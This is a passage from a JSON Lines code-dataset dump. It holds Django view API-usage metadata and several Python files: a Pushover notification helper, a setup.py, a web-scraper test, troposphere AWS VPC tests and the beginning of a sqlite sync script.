"attribute"}, {"api_name": "models.videojuego", "line_number": 47, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 48, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 48, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 50, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 51, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 51, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 53, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 53, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 54, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 54, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 72, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 78, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 78, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 78, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 82, "usage_type": "call"}, {"api_name": "models.usuario.objects.all", "line_number": 84, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 84, "usage_type": "name"}, {"api_name": "models.comentario.objects.all", "line_number": 85, "usage_type": "call"}, {"api_name": "models.comentario.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "models.comentario", "line_number": 85, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 92, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 74, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 98, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 98, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 98, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 102, "usage_type": "call"}, {"api_name": "models.videojuego.objects.all", "line_number": 104, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 104, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 104, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 108, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 94, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 114, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 114, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 118, "usage_type": "call"}, {"api_name": "models.plataforma.objects.all", "line_number": 120, "usage_type": "call"}, {"api_name": "models.plataforma.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "models.plataforma", "line_number": 120, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 121, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 121, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 126, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 110, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 132, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 132, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 136, "usage_type": "call"}, {"api_name": "models.videojuego.objects.get", "line_number": 146, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 146, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 146, "usage_type": "name"}, {"api_name": "models.plataforma.objects.get", "line_number": 152, "usage_type": "call"}, {"api_name": "models.plataforma.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.plataforma", "line_number": 152, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 159, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 159, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 160, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 128, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 166, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 166, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 166, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 170, "usage_type": "call"}, {"api_name": "models.videojuego.objects.get", "line_number": 172, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 172, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 172, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 174, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 174, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 175, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 162, "usage_type": "call"}, {"api_name": "models.pregunta.objects.all", "line_number": 178, "usage_type": "call"}, {"api_name": "models.pregunta.objects", "line_number": 178, "usage_type": "attribute"}, {"api_name": "models.pregunta", "line_number": 178, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 184, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 190, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 190, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 190, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 194, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 196, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 196, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 196, "usage_type": "name"}, {"api_name": "models.rol.objects.all", "line_number": 197, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 197, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 197, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 203, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 186, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 209, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 209, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 209, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 213, "usage_type": "call"}, {"api_name": "models.usuario.objects.all", "line_number": 215, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 215, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 215, "usage_type": "name"}, {"api_name": "models.rol.objects.all", "line_number": 216, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 216, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 216, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 222, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 205, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 228, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 228, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 228, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 232, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 238, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 238, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 238, "usage_type": "name"}, {"api_name": "models.rol.objects.get", "line_number": 241, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 241, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 241, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 245, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 245, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 247, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 224, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 251, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 252, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 252, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 252, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 257, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 260, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 261, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 264, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 270, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 270, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 270, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 274, "usage_type": "call"}, {"api_name": "models.rol.objects.get", "line_number": 276, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 276, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 276, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 278, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 278, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 279, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 266, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 285, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 285, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 285, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 289, "usage_type": "call"}, {"api_name": "models.plataforma.objects.get", "line_number": 291, "usage_type": "call"}, {"api_name": "models.plataforma.objects", "line_number": 291, "usage_type": "attribute"}, {"api_name": "models.plataforma", "line_number": 291, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 293, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 293, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 295, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 281, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 301, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 301, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 301, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 305, "usage_type": "call"}, {"api_name": "models.rol.objects.all", "line_number": 307, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 307, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 307, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 313, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 297, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 319, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 319, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 319, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 323, "usage_type": "call"}, {"api_name": "models.plataforma.objects.all", "line_number": 325, "usage_type": "call"}, {"api_name": "models.plataforma.objects", "line_number": 325, "usage_type": "attribute"}, {"api_name": "models.plataforma", "line_number": 325, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 330, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 315, "usage_type": "call"}, {"api_name": "models.rol.objects.create", "line_number": 335, "usage_type": "call"}, {"api_name": "models.rol.objects", "line_number": 335, "usage_type": "attribute"}, {"api_name": "models.rol", "line_number": 335, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 336, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 336, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 338, "usage_type": "call"}, {"api_name": "models.plataforma.objects.create", "line_number": 343, "usage_type": "call"}, {"api_name": "models.plataforma.objects", "line_number": 343, "usage_type": "attribute"}, {"api_name": "models.plataforma", "line_number": 343, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 344, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 344, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 347, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 351, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 351, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 351, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 356, "usage_type": "call"}, {"api_name": "models.pregunta.objects.all", "line_number": 360, "usage_type": "call"}, {"api_name": "models.pregunta.objects", "line_number": 360, "usage_type": "attribute"}, {"api_name": "models.pregunta", "line_number": 360, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 364, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 369, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 369, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 369, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 374, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 366, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 377, "usage_type": "call"}, {"api_name": "models.videojuego.objects.filter", "line_number": 381, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 381, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 381, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 385, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 387, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 387, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 387, "usage_type": "name"}, {"api_name": "models.videojuego.objects.filter", "line_number": 388, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 388, "usage_type": "attribute"}, {"api_name": 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"models.videojuego", "line_number": 797, "usage_type": "name"}, {"api_name": "models.comentario.objects.create", "line_number": 798, "usage_type": "call"}, {"api_name": "models.comentario.objects", "line_number": 798, "usage_type": "attribute"}, {"api_name": "models.comentario", "line_number": 798, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 799, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 799, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 800, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 807, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 807, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 807, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 808, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 808, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 808, "usage_type": "name"}, {"api_name": "models.comentario.objects.create", "line_number": 809, "usage_type": "call"}, {"api_name": "models.comentario.objects", "line_number": 809, "usage_type": "attribute"}, {"api_name": "models.comentario", "line_number": 809, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 810, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 810, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 811, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 817, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 817, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 817, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 821, "usage_type": "call"}, {"api_name": "models.comentario.objects.filter", "line_number": 823, "usage_type": "call"}, {"api_name": "models.comentario.objects", "line_number": 823, "usage_type": "attribute"}, {"api_name": "models.comentario", "line_number": 823, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 828, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 813, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 834, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 834, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 834, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 838, "usage_type": "call"}, {"api_name": "models.comentario.objects.get", "line_number": 840, "usage_type": "call"}, {"api_name": "models.comentario.objects", "line_number": 840, "usage_type": "attribute"}, {"api_name": "models.comentario", "line_number": 840, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 842, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 842, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 843, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 830, "usage_type": "call"}]} +{"seq_id": "4538521936", "text": "import requests\nPO_TOKEN = \"ajnub*********74xi8gifnp6r\"\nPO_USER = \"u1dj************n81x6vr7vx\"\n\ndef send_push_notify(text):\n if PO_USER == \"yourpushoveruser\" or PO_USER is None:\n print(\"No notifications since po is not setup\")\n return\n try:\n r = requests.post(\"https://api.pushover.net/1/messages.json\", data={\n \"token\": PO_TOKEN,\n \"user\": PO_USER,\n \"message\": text\n })\n except Exception as err:\n print(f\"Failed in pinging push notifications {err}\")", "repo_name": "animeshroy/automate_cowin_appointment", "sub_path": "push_notify.py", "file_name": "push_notify.py", "file_ext": "py", "file_size_in_byte": 527, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.post", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "8243840917", "text": "import pathlib\n\nfrom setuptools import setup\nfrom robocrypt.info import version, email\n\n# The directory containing this file\nHERE = pathlib.Path(__file__).parent\n\n# The text of the README file\nREADME = (HERE / \"README.md\").read_text()\n\n\nsetup(\n name='robocrypt',\n version=version,\n packages=['robocrypt'],\n url='https://github.com/noahbroyles/Robocrypt',\n license='MIT',\n author='Noah Broyles',\n author_email=email,\n description='Simple encryption library that handles the background details for you.',\n long_description=README,\n long_description_content_type='text/markdown',\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\"\n ],\n entry_points={\n \"console_scripts\": [\"robocrypt=robocrypt.cli:robocrypt_main\"]\n },\n install_requires=['cryptography>=3.4']\n)\n", "repo_name": "noahbroyles/Robocrypt", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 869, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path", "line_number": 7, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 13, "usage_type": "call"}, {"api_name": "robocrypt.info.version", "line_number": 15, "usage_type": "name"}, {"api_name": "robocrypt.info.email", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "29599917699", "text": "import json\nimport pymysql\nimport requests\nfrom bs4 import BeautifulSoup as BS\nfrom time import sleep\nimport datetime\nimport random\n\n\nhtml = open('./a.html' , 'r' , encoding=\"utf8\")\nnew_page = BS(html, features=\"html.parser\")\n\n\ndef convertPrice(price):\n tmp = price.replace('MAD' , '')\n tmp = price.replace(',' , '.')\n tmp = tmp.split()\n return float(\"\".join(tmp))\n\n\nitem_name = new_page.select_one('#content > div.row > div:nth-child(2) > h1').get_text().strip()\nitem_model = new_page.select_one('#content > div.row > div:nth-child(2) > ul:nth-child(3) > li:nth-child(1)').get_text().strip().replace('Modèle :' , '')\nitem_price = new_page.select_one('#content > div.row > div:nth-child(2) > ul:nth-child(4) > li:nth-child(1) > h2').get_text().strip()\nitem_description = new_page.select_one('#content > div.row > div:nth-child(1)').get_text().strip()\nimage_item = new_page.select_one('#content > div.row > div:nth-child(1) > ul.thumbnails > li > a > img').get('src')\nprint(\"item_name = {}\".format(item_name))\nprint(\"item_model = {}\".format(item_model))\nprint(\"item_price = {}\".format( convertPrice(item_price) ))\nprint(\"item_description = {}\".format(item_description))\nprint(\"image_item = {}\".format(image_item))", "repo_name": "YassineElGhizi/uno", "sub_path": "scrapers/prixmaroc/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1225, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "23131871765", "text": "\"\"\"Provide ecr construct tests.\"\"\"\nimport json\nimport os\n\nfrom troposphere import ec2, Ref\n\nfrom e3.aws.troposphere import Stack\nfrom e3.aws.troposphere.ec2 import VPC\nfrom e3.aws.troposphere.iam.policy_statement import Allow\nfrom e3.aws.troposphere.iam.policy_document import PolicyDocument\n\n\nTEST_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\ndef test_vpc(stack: Stack) -> None:\n \"\"\"Test VPC creation.\"\"\"\n ecr_endpoint_pd = PolicyDocument(\n statements=[\n Allow(\n action=[\n \"ecr:BatchGetImage\",\n \"ecr:GetAuthorizationToken\",\n \"ecr:GetDownloadUrlForLayer\",\n ],\n resource=\"*\",\n principal=\"*\",\n )\n ]\n )\n s3_endpoint_pd = PolicyDocument(\n statements=[\n Allow(action=[\"s3:PutObject\", \"s3:GetObject\"], resource=\"*\", principal=\"*\"),\n Allow(action=\"s3:ListBucket\", resource=\"*\", principal=\"*\"),\n ]\n )\n cloudwatch_endpoint_pd = PolicyDocument(\n statements=[\n Allow(\n action=[\n \"logs:CreateLogStream\",\n \"logs:CreateLogGroup\",\n \"logs:PutLogEvents\",\n ],\n resource=\"*\",\n principal=\"*\",\n )\n ]\n )\n sm_endpoint_pd = PolicyDocument(\n statements=[\n Allow(\n action=[\n \"secretsmanager:GetResourcePolicy\",\n \"secretsmanager:GetSecretValue\",\n \"secretsmanager:DescribeSecret\",\n \"secretsmanager:ListSecretVersionIds\",\n ],\n resource=[\"this_is_a_secret_arn\"],\n principal=\"*\",\n )\n ]\n )\n vpc = VPC(\n name=\"TestVPC\",\n region=\"eu-west-1\",\n nat_gateway=True,\n s3_endpoint_policy_document=s3_endpoint_pd,\n interface_endpoints=[\n (\"logs\", cloudwatch_endpoint_pd),\n (\"ecr.api\", ecr_endpoint_pd),\n (\"ecr.dkr\", ecr_endpoint_pd),\n (\"sts\", None),\n (\"secretsmanager\", sm_endpoint_pd),\n ],\n )\n stack.add(vpc)\n\n # Add a security group with access to VPC endpoints\n group_name = \"SGWithVPCEndpointsAccess\"\n sg = ec2.SecurityGroup(\n group_name,\n GroupDescription=\"Security group for some privileged runners that need \"\n \"outbound to the world\",\n GroupName=group_name,\n SecurityGroupEgress=vpc.egress_to_vpc_endpoints,\n VpcId=Ref(vpc.vpc),\n )\n stack.add(sg)\n\n with open(os.path.join(TEST_DIR, \"vpc.json\")) as fd:\n expected_template = json.load(fd)\n\n assert stack.export()[\"Resources\"] == expected_template\n\n\ndef test_vpc_with_ses_endpoint(stack: Stack) -> None:\n \"\"\"Test creation of a VPC with an SES endpoint.\"\"\"\n vpc = VPC(\n name=\"TestVPC\",\n region=\"eu-west-1\",\n nat_gateway=False,\n interface_endpoints=[\n (\"email-smtp\", None),\n ],\n )\n stack.add(vpc)\n\n with open(os.path.join(TEST_DIR, \"vpc_ses_endpoint.json\")) as fd:\n expected_template = json.load(fd)\n\n assert stack.export()[\"Resources\"] == expected_template\n\n\ndef test_vpc_with_ses_and_other_endpoints(stack: Stack) -> None:\n \"\"\"Test creation of a VPC with an SES endpoint and other endpoints.\"\"\"\n vpc = VPC(\n name=\"TestVPC\",\n region=\"eu-west-1\",\n nat_gateway=False,\n interface_endpoints=[\n (\"email-smtp\", None),\n (\"logs\", None),\n (\"sts\", None),\n ],\n )\n stack.add(vpc)\n\n with open(os.path.join(TEST_DIR, \"vpc_ses_and_other_endpoints.json\")) as fd:\n expected_template = json.load(fd)\n\n assert stack.export()[\"Resources\"] == expected_template\n\n\ndef test_vpc_with_vpc_prefixed_endpoints(stack: Stack) -> None:\n \"\"\"Test creation of a VPC with endpoints prefixed by vpc name.\"\"\"\n vpc = VPC(\n name=\"TestVPC\",\n region=\"eu-west-1\",\n nat_gateway=False,\n interface_endpoints=[\n (\"email-smtp\", None),\n (\"logs\", None),\n (\"sts\", None),\n ],\n vpc_prefixed_endpoints=True,\n )\n stack.add(vpc)\n\n with open(\n os.path.join(TEST_DIR, \"vpc_ses_and_other_endpoints_prefixed.json\")\n ) as fd:\n expected_template = json.load(fd)\n\n assert stack.export()[\"Resources\"] == expected_template\n", "repo_name": "AdaCore/e3-aws", "sub_path": "tests/tests_e3_aws/troposphere/ec2/ec2_test.py", "file_name": "ec2_test.py", "file_ext": "py", "file_size_in_byte": 4469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.Stack", "line_number": 16, "usage_type": "name"}, {"api_name": "e3.aws.troposphere.iam.policy_document.PolicyDocument", "line_number": 18, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_statement.Allow", "line_number": 20, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_document.PolicyDocument", "line_number": 31, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_statement.Allow", "line_number": 33, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_statement.Allow", "line_number": 34, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_document.PolicyDocument", "line_number": 37, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_statement.Allow", "line_number": 39, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_document.PolicyDocument", "line_number": 50, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.iam.policy_statement.Allow", "line_number": 52, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.ec2.VPC", "line_number": 64, "usage_type": "call"}, {"api_name": "troposphere.ec2.SecurityGroup", "line_number": 81, "usage_type": "call"}, {"api_name": "troposphere.ec2", "line_number": 81, "usage_type": "name"}, {"api_name": "troposphere.Ref", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 92, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.Stack", "line_number": 97, "usage_type": "name"}, {"api_name": "e3.aws.troposphere.ec2.VPC", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 110, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.Stack", "line_number": 115, "usage_type": "name"}, {"api_name": "e3.aws.troposphere.ec2.VPC", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 130, "usage_type": "call"}, {"api_name": "e3.aws.troposphere.Stack", "line_number": 135, "usage_type": "name"}, {"api_name": "e3.aws.troposphere.ec2.VPC", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 153, "usage_type": "call"}]} +{"seq_id": "23987706018", "text": "import requests\nimport sqlite3\nimport calendar\nimport datetime\nfrom urllib.parse import urljoin\nimport sys\nimport pickle\n\nconn = sqlite3.connect('my.db')\ncur = conn.cursor()\ncur.execute('''PRAGMA synchronous = OFF''')\ncur.execute('''PRAGMA journal_mode = OFF''')\ncur.execute(\"PRAGMA auto_vacuum = FULL\")\nTABLE = 'data_record'\nmy_arg = sys.argv\nbase_url = my_arg[1]\n# endpoint = \".../api/messages/\"\nendpoint = {'create': f\"{base_url}/api/messages/create/\",\n 'update-delete': f\"{base_url}/api/messages/update-delete/\"}\n\ntime_filename = \"time.txt\"\ntime_used = []\n\n\ndef sqlite_create_table(): # Create table\n statement = f'''CREATE TABLE IF NOT EXISTS`{TABLE}` (\n `uuid` CHAR(36),\n `author` VARCHAR(64),\n `message` VARCHAR(1024),\n `likes` unsigned INT(10),\n PRIMARY KEY (`uuid`)\n );'''\n cur.execute(statement)\n\n\ndef sqlite_delete_all():\n statement = f\"DELETE FROM {TABLE}\"\n cur.execute(statement)\n conn.commit()\n cur.execute('VACUUM')\n\n\ndef sqlite_insert(data): # Insert a row of data\n data = {'uuid': data[0], 'author': data[1],\n 'message': data[2], 'likes': data[3]}\n statement = f\"INSERT INTO {TABLE} VALUES (:uuid, :author, :message, :likes)\"\n args = dict(data)\n cur.execute(statement, args)\n\n\ndef sqlite_multiple_insert(create_list): # Insert multiple row\n statement = f\"INSERT INTO {TABLE} VALUES (?, ?, ?, ?)\"\n create_list = [tuple(d) for d in create_list]\n cur.executemany(statement, create_list)\n\n\ndef sqlite_update(data): # Update a row of data\n pkey = data['u']\n del data['u']\n key_dict = {'u': 'uuid', 